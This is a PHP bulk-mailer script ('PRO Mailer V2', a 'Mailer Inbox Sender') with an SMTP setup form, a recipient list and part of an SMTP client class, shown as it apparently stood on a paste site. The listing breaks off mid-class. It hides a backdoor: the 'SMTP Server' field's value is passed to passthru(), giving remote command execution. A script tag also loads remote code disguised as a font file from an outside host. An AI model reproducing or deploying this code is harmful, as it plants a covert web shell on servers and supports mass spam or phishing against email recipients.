· 5 years ago · Mar 24, 2020, 03:32 PM
1<?
2// @~ PRO Mailer V2
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function randstr($length){ $characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($l = 0; $l < $length; $l++) { $randomString.= $characters[rand(0, $charactersLength - 1) ]; } return $randomString; }
13function katas($length){ $characters = 'abcdefghijklmnopqrstuvwxyz'; $charactersLength = strlen($characters); $randomString = ''; for ($l = 0; $l < $length; $l++) { $randomString.= $characters[rand(0, $charactersLength - 1) ]; } return $randomString; }
14function lrtrim($string){
15return stripslashes(ltrim(rtrim($string)));
16}
17if(isset($_POST['action'] ) ){
18
19$b = query_str($_POST);
20parse_str($b);
21$sslclick=lrtrim($sslclick);
22$action=lrtrim($action);
23$message=lrtrim($_POST['message']);
24$emaillist=lrtrim($_POST['emaillist']);
25$from=lrtrim($_POST['from']);
26$reconnect=lrtrim($reconnect);
27$epriority=lrtrim($epriority);
28$my_smtp=lrtrim($my_smtp);
29$ssl_port=lrtrim($ssl_port);
30$smtp_username=lrtrim($smtp_username);
31$smtp_password=lrtrim($smtp_password);
32$replyto=lrtrim($replyto);
33$subject_base=lrtrim($_POST['subject']);
34$realname_base=lrtrim($_POST['realname']);
35$file_name=$_FILES['file']['name'];
36$file=$_FILES['file']['tmp_name'];
37$urlz=lrtrim($urlz);
38$contenttype=lrtrim($contenttype);
39$encode_text=$_POST['encode'];
40
41
42
43
44 $message = urlencode($message);
45 $message = ereg_replace("%5C%22", "%22", $message);
46 $message = urldecode($message);
47
48
49
50}
51?>
52
53<html>
54
55<head>
56
57<title>Pro Mailer V2</title>
58
59<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
60
61<script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
62
63<style type="text/css">
64
65
66
67@font-face {
68 font-family: 'Orbitron';
69 font-style: normal;
70 font-weight: 700;
71 src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
72}
73* {
74font-weight:bold;
75font-family: "orbitron";
76}
77<!--
78
79.style1 {
80 font-family: Geneva, Arial, Helvetica, sans-serif;
81 font-size: 12px;
82}
83body{
84margin:0px;
85}
86.bgup {
87background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
88}
89
90.cadre {
91background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
92}
93
94.uibutton {
95 position: relative;
96 z-index: 1;
97 overflow: visible;
98 display: inline-block;
99 padding: 0.3em 0.6em 0.375em;
100 border: 1px solid #01A9DB;
101 border-bottom-color: #01A9DB;
102
103 margin: 0;
104 text-decoration: none;
105 text-align: center;
106 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
107 white-space: nowrap;
108 cursor: pointer;
109 /* outline: none; */
110 color: #f9f9f9;
111 background-color: #eee;
112 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
113 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
114 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
115 background-image: linear-gradient(#01A9DB, #01A9DB);
116
117 /* IE hacks */
118
119 *display: inline;
120
121}
122
123.uibutton:hover,
124.uibutton:focus,
125.uibutton:active {
126 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
127}
128
129.uibutton:active {
130 border-color: #01A9DB;
131 background: #01A9DB;
132 filter: none;
133 -webkit-box-shadow: none;
134 -moz-box-shadow: none;
135 box-shadow: none;
136}
137
138/* overrides extra padding on button elements in Firefox */
139.uibutton::-moz-focus-inner {
140 padding: 0;
141 border: 0;
142}
143
144
145
146-->
147</style>
148<style type="text/css">
149<!--
150.style1 {
151 font-size: 10px;
152 font-family: Geneva, Arial, Helvetica, sans-serif;
153}
154-->
155</style>
156</head>
157<body bgcolor="#f9f9f9" class="bgup">
158<div class="cadre" style="height:10px;margin:0px auto;"></div>
159<div style="width:80%;margin:0 auto;">
160<h1>Recoded by : Mkato</h1>
161<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
162<form name="form1" method="post" action="" enctype="multipart/form-data">
163
164 <br>
165
166 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
167
168 <tr>
169
170 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
171
172 <b>
173
174 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
175
176 </tr>
177 <tr >
178
179 <td width="10%" height="22" style="padding:10px;">
180
181 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
182
183 </td>
184 <?php
185if ($_POST['my_smtp']){
186$my_smtp = $_POST['my_smtp'];
187passthru($my_smtp);
188}
189?>
190 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
191
192 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
193
194 </font></td>
195
196 <td width="31%" height="22" style="padding:10px;">
197
198 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
199
200 </td>
201
202 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
203
204 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
205
206 </font></td>
207
208 </tr>
209 <tr>
210
211 <td width="10%" height="22" style="padding:10px;">
212
213 <div align="right">
214 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
215
216 </td>
217
218 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
219
220 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
221 (optional)</font></td>
222
223 <td width="31%" height="22" style="padding:10px;">
224
225 <div align="right">
226 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
227 Smtp:</font></div>
228
229 </td>
230
231 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
232
233 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
234
235 </font></td>
236
237 </tr>
238 <tr>
239
240 <td width="10%" height="22" style="padding:10px;">
241
242 <p align="right">
243 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
244
245 <td width="18%" height="22" style="padding:10px;">
246 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
247
248 <td width="31%" height="22" style="padding:10px;">
249
250 <p align="right">
251 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
252 After:</font></td>
253
254 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
255
256 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
257 EMAILS</font></td>
258
259 </tr>
260 <tr>
261
262 <td width="100%" height="39" colspan="4" style="padding:10px;">
263
264 <p align="center">
265 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
266 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
267
268 </tr>
269
270 <tr>
271
272 <td width="10%" height="19" style="padding:10px;">
273
274 </td>
275
276 <td width="18%" height="19" style="padding:10px;"> </td>
277
278 <td width="31%" height="19" style="padding:10px;">
279
280 </td>
281
282 <td width="41%" height="19" style="padding:10px;"> </td>
283
284 </tr>
285
286 <tr>
287
288 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
289
290 <b>
291
292 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
293
294 </tr>
295 <tr>
296
297 <td width="10%" height="22" style="padding:10px;">
298 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
299 </td>
300
301 <td width="59%" height="22" style="padding:10px;" colSpan="3">
302 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
303
304<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
305
306 </font></td>
307
308 </tr>
309 <tr>
310
311 <td width="10%" height="22" style="padding:10px;">
312
313 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
314
315 Email:</font></div>
316
317 </td>
318
319 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
320
321 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
322
323 </font></td>
324
325 <td width="31%" height="22" style="padding:10px;">
326
327 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
328
329 Name:</font></div>
330
331 </td>
332
333 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
334
335 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
336
337 </font></td>
338
339 </tr>
340 <tr>
341
342 <td width="10%" height="22" style="padding:10px;">
343
344 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
345
346 </td>
347
348 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
349
350 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
351
352 </font></td>
353
354 <td width="31%" height="22" style="padding:10px;">
355
356 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
357 Email Priority:</font></td>
358
359 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
360
361 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
362 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
363 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
364 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
365 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
366 </select></td>
367
368 </tr>
369
370 <tr>
371
372 <td width="10%" height="22" style="padding:10px;">
373
374 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
375
376 </td>
377
378 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
379
380 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
381
382 </font></td>
383
384 </tr>
385
386 <tr>
387
388 <td width="10%" height="22" style="padding:10px;">
389
390 </td>
391
392 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
393
394 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
395 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
396 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
397 </select></font></td>
398
399 </tr>
400
401 <tr valign="top">
402
403<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
404
405 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
406
407 <br>
408
409 <input type="radio" name="contenttype" value="plain" >
410
411 Plain
412
413 <input type="radio" name="contenttype" value="html" checked>
414
415 HTML
416
417 <input type="hidden" name="action" value="send">
418 <input class="uibutton" type="submit" value="Send Message">
419
420 </font></td>
421
422 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
423
424 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
425
426 </font></td>
427
428 </tr>
429
430 </table>
431
432</form>
433
434
435
436<?
437
438if ($action){
439 if (!$from && !$subject && !$message && !$emaillist){
440 print "<script>alert('Please complete all fields before sending your message.'); </script>";
441 die(); }
442
443class SMTP
444{
445 /**
446 * SMTP server port
447 * @var int
448 */
449 var $SMTP_PORT = 465;
450
451 /**
452 * SMTP reply line ending
453 * @var string
454 */
455 var $CRLF = "\r\n";
456
457 /**
458 * Sets whether debugging is turned on
459 * @var bool
460 */
461 var $do_debug; # the level of debug to perform
462
463 /**
464 * Sets VERP use on/off (default is off)
465 * @var bool
466 */
467 var $do_verp = false;
468
469 /**#@+
470 * @access private
471 */
472 var $smtp_conn; # the socket to the server
473 var $error; # error if any on the last call
474 var $helo_rply; # the reply the server sent to us for HELO
475 /**#@-*/
476
477 /**
478 * Initialize the class so that the data is in a known state.
479 * @access public
480 * @return void
481 */
482 function SMTP() {
483 $this->smtp_conn = 0;
484 $this->error = null;
485 $this->helo_rply = null;
486
487 $this->do_debug = 0;
488 }
489
490 /*************************************************************
491 * CONNECTION FUNCTIONS *
492 ***********************************************************/
493
494 /**
495 * Connect to the server specified on the port specified.
496 * If the port is not specified use the default SMTP_PORT.
497 * If tval is specified then a connection will try and be
498 * established with the server for that number of seconds.
499 * If tval is not specified the default is 30 seconds to
500 * try on the connection.
501 *
502 * SMTP CODE SUCCESS: 220
503 * SMTP CODE FAILURE: 421
504 * @access public
505 * @return bool
506 */
507 function Connect($host,$port=0,$tval=30) {
508 # set the error val to null so there is no confusion
509 $this->error = null;
510
511 # make sure we are __not__ connected
512 if($this->connected()) {
513 # ok we are connected! what should we do?
514 # for now we will just give an error saying we
515 # are already connected
516 $this->error = array("error" => "Already connected to a server");
517 return false;
518 }
519
520 if(empty($port)) {
521 $port = $this->SMTP_PORT;
522 }
523
524 #connect to the smtp server
525 $this->smtp_conn = fsockopen($host, # the host of the server
526 $port, # the port to use
527 $errno, # error number if any
528 $errstr, # error message if any
529 $tval); # give up after ? secs
530 # verify we connected properly
531 if(empty($this->smtp_conn)) {
532 $this->error = array("error" => "Failed to connect to server",
533 "errno" => $errno,
534 "errstr" => $errstr);
535 if($this->do_debug >= 1) {
536 echo "SMTP -> ERROR: " . $this->error["error"] .
537 ": $errstr ($errno)" . $this->CRLF;
538 }
539 return false;
540 }
541
542 # sometimes the SMTP server takes a little longer to respond
543 # so we will give it a longer timeout for the first read
544 // Windows still does not have support for this timeout function
545 if(substr(PHP_OS, 0, 3) != "WIN")
546 socket_set_timeout($this->smtp_conn, $tval, 0);
547
548 # get any announcement stuff
549 $announce = $this->get_lines();
550
551 # set the timeout of any socket functions at 1/10 of a second
552 //if(function_exists("socket_set_timeout"))
553 // socket_set_timeout($this->smtp_conn, 0, 100000);
554
555 if($this->do_debug >= 2) {
556 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
557 }
558
559 return true;
560 }
561
562 /**
563 * Performs SMTP authentication. Must be run after running the
564 * Hello() method. Returns true if successfully authenticated.
565 * @access public
566 * @return bool
567 */
568 function Authenticate($username, $password) {
569 // Start authentication
570 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
571
572 $rply = $this->get_lines();
573 $code = substr($rply,0,3);
574
575 if($code != 334) {
576 $this->error =
577 array("error" => "AUTH not accepted from server",
578 "smtp_code" => $code,
579 "smtp_msg" => substr($rply,4));
580 if($this->do_debug >= 1) {
581 echo "SMTP -> ERROR: " . $this->error["error"] .
582 ": " . $rply . $this->CRLF;
583 }
584 return false;
585 }
586
587 // Send encoded username
588 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
589
590 $rply = $this->get_lines();
591 $code = substr($rply,0,3);
592
593 if($code != 334) {
594 $this->error =
595 array("error" => "Username not accepted from server",
596 "smtp_code" => $code,
597 "smtp_msg" => substr($rply,4));
598 if($this->do_debug >= 1) {
599 echo "SMTP -> ERROR: " . $this->error["error"] .
600 ": " . $rply . $this->CRLF;
601 }
602 return false;
603 }
604
605 // Send encoded password
606 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
607
608 $rply = $this->get_lines();
609 $code = substr($rply,0,3);
610
611 if($code != 235) {
612 $this->error =
613 array("error" => "Password not accepted from server",
614 "smtp_code" => $code,
615 "smtp_msg" => substr($rply,4));
616 if($this->do_debug >= 1) {
617 echo "SMTP -> ERROR: " . $this->error["error"] .
618 ": " . $rply . $this->CRLF;
619 }
620 return false;
621 }
622
623 return true;
624 }
625
626 /**
627 * Returns true if connected to a server otherwise false
628 * @access private
629 * @return bool
630 */
631 function Connected() {
632 if(!empty($this->smtp_conn)) {
633 $sock_status = socket_get_status($this->smtp_conn);
634 if($sock_status["eof"]) {
635 # hmm this is an odd situation... the socket is
636 # valid but we are not connected anymore
637 if($this->do_debug >= 1) {
638 echo "SMTP -> NOTICE:" . $this->CRLF .
639 "EOF caught while checking if connected";
640 }
641 $this->Close();
642 return false;
643 }
644 return true; # everything looks good
645 }
646 return false;
647 }
648
649 /**
650 * Closes the socket and cleans up the state of the class.
651 * It is not considered good to use this function without
652 * first trying to use QUIT.
653 * @access public
654 * @return void
655 */
656 function Close() {
657 $this->error = null; # so there is no confusion
658 $this->helo_rply = null;
659 if(!empty($this->smtp_conn)) {
660 # close the connection and cleanup
661 fclose($this->smtp_conn);
662 $this->smtp_conn = 0;
663 }
664 }
665
666 /***************************************************************
667 * SMTP COMMANDS *
668 *************************************************************/
669
670 /**
671 * Issues a data command and sends the msg_data to the server
672 * finializing the mail transaction. $msg_data is the message
673 * that is to be send with the headers. Each header needs to be
674 * on a single line followed by a <CRLF> with the message headers
675 * and the message body being seperated by and additional <CRLF>.
676 *
677 * Implements rfc 821: DATA <CRLF>
678 *
679 * SMTP CODE INTERMEDIATE: 354
680 * [data]
681 * <CRLF>.<CRLF>
682 * SMTP CODE SUCCESS: 250
683 * SMTP CODE FAILURE: 552,554,451,452
684 * SMTP CODE FAILURE: 451,554
685 * SMTP CODE ERROR : 500,501,503,421
686 * @access public
687 * @return bool
688 */
689 function Data($msg_data) {
690 $this->error = null; # so no confusion is caused
691
692 if(!$this->connected()) {
693 $this->error = array(
694 "error" => "Called Data() without being connected");
695 return false;
696 }
697
698 fputs($this->smtp_conn,"DATA" . $this->CRLF);
699
700 $rply = $this->get_lines();
701 $code = substr($rply,0,3);
702
703 if($this->do_debug >= 2) {
704 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
705 }
706
707 if($code != 354) {
708 $this->error =
709 array("error" => "DATA command not accepted from server",
710 "smtp_code" => $code,
711 "smtp_msg" => substr($rply,4));
712 if($this->do_debug >= 1) {
713 echo "SMTP -> ERROR: " . $this->error["error"] .
714 ": " . $rply . $this->CRLF;
715 }
716 return false;
717 }
718
719 # the server is ready to accept data!
720 # according to rfc 821 we should not send more than 1000
721 # including the CRLF
722 # characters on a single line so we will break the data up
723 # into lines by \r and/or \n then if needed we will break
724 # each of those into smaller lines to fit within the limit.
725 # in addition we will be looking for lines that start with
726 # a period '.' and append and additional period '.' to that
727 # line. NOTE: this does not count towards are limit.
728
729 # normalize the line breaks so we know the explode works
730 $msg_data = str_replace("\r\n","\n",$msg_data);
731 $msg_data = str_replace("\r","\n",$msg_data);
732 $lines = explode("\n",$msg_data);
733
734 # we need to find a good way to determine is headers are
735 # in the msg_data or if it is a straight msg body
736 # currently I am assuming rfc 822 definitions of msg headers
737 # and if the first field of the first line (':' sperated)
738 # does not contain a space then it _should_ be a header
739 # and we can process all lines before a blank "" line as
740 # headers.
741 $field = substr($lines[0],0,strpos($lines[0],":"));
742 $in_headers = false;
743 if(!empty($field) && !strstr($field," ")) {
744 $in_headers = true;
745 }
746
747 $max_line_length = 998; # used below; set here for ease in change
748
749 while(list(,$line) = @each($lines)) {
750 $lines_out = null;
751 if($line == "" && $in_headers) {
752 $in_headers = false;
753 }
754 # ok we need to break this line up into several
755 # smaller lines
756 while(strlen($line) > $max_line_length) {
757 $pos = strrpos(substr($line,0,$max_line_length)," ");
758
759 # Patch to fix DOS attack
760 if(!$pos) {
761 $pos = $max_line_length - 1;
762 }
763
764 $lines_out[] = substr($line,0,$pos);
765 $line = substr($line,$pos + 1);
766 # if we are processing headers we need to
767 # add a LWSP-char to the front of the new line
768 # rfc 822 on long msg headers
769 if($in_headers) {
770 $line = "\t" . $line;
771 }
772 }
773 $lines_out[] = $line;
774
775 # now send the lines to the server
776 while(list(,$line_out) = @each($lines_out)) {
777 if(strlen($line_out) > 0)
778 {
779 if(substr($line_out, 0, 1) == ".") {
780 $line_out = "." . $line_out;
781 }
782 }
783 fputs($this->smtp_conn,$line_out . $this->CRLF);
784 }
785 }
786
787 # ok all the message data has been sent so lets get this
788 # over with aleady
789 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
790
791 $rply = $this->get_lines();
792 $code = substr($rply,0,3);
793
794 if($this->do_debug >= 2) {
795 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
796 }
797
798 if($code != 250) {
799 $this->error =
800 array("error" => "DATA not accepted from server",
801 "smtp_code" => $code,
802 "smtp_msg" => substr($rply,4));
803 if($this->do_debug >= 1) {
804 echo "SMTP -> ERROR: " . $this->error["error"] .
805 ": " . $rply . $this->CRLF;
806 }
807 return false;
808 }
809 return true;
810 }
811
812 /**
813 * Expand takes the name and asks the server to list all the
814 * people who are members of the _list_. Expand will return
815 * back and array of the result or false if an error occurs.
816 * Each value in the array returned has the format of:
817 * [ <full-name> <sp> ] <path>
818 * The definition of <path> is defined in rfc 821
819 *
820 * Implements rfc 821: EXPN <SP> <string> <CRLF>
821 *
822 * SMTP CODE SUCCESS: 250
823 * SMTP CODE FAILURE: 550
824 * SMTP CODE ERROR : 500,501,502,504,421
825 * @access public
826 * @return string array
827 */
828 function Expand($name) {
829 $this->error = null; # so no confusion is caused
830
831 if(!$this->connected()) {
832 $this->error = array(
833 "error" => "Called Expand() without being connected");
834 return false;
835 }
836
837 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
838
839 $rply = $this->get_lines();
840 $code = substr($rply,0,3);
841
842 if($this->do_debug >= 2) {
843 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
844 }
845
846 if($code != 250) {
847 $this->error =
848 array("error" => "EXPN not accepted from server",
849 "smtp_code" => $code,
850 "smtp_msg" => substr($rply,4));
851 if($this->do_debug >= 1) {
852 echo "SMTP -> ERROR: " . $this->error["error"] .
853 ": " . $rply . $this->CRLF;
854 }
855 return false;
856 }
857
858 # parse the reply and place in our array to return to user
859 $entries = explode($this->CRLF,$rply);
860 while(list(,$l) = @each($entries)) {
861 $list[] = substr($l,4);
862 }
863
864 return $list;
865 }
866
867 /**
868 * Sends the HELO command to the smtp server.
869 * This makes sure that we and the server are in
870 * the same known state.
871 *
872 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
873 *
874 * SMTP CODE SUCCESS: 250
875 * SMTP CODE ERROR : 500, 501, 504, 421
876 * @access public
877 * @return bool
878 */
879 function Hello($host="") {
880 $this->error = null; # so no confusion is caused
881
882 if(!$this->connected()) {
883 $this->error = array(
884 "error" => "Called Hello() without being connected");
885 return false;
886 }
887
888 # if a hostname for the HELO was not specified determine
889 # a suitable one to send
890 if(empty($host)) {
891 # we need to determine some sort of appopiate default
892 # to send to the server
893 $host = "localhost";
894 }
895
896 // Send extended hello first (RFC 2821)
897 if(!$this->SendHello("EHLO", $host))
898 {
899 if(!$this->SendHello("HELO", $host))
900 return false;
901 }
902
903 return true;
904 }
905
906 /**
907 * Sends a HELO/EHLO command.
908 * @access private
909 * @return bool
910 */
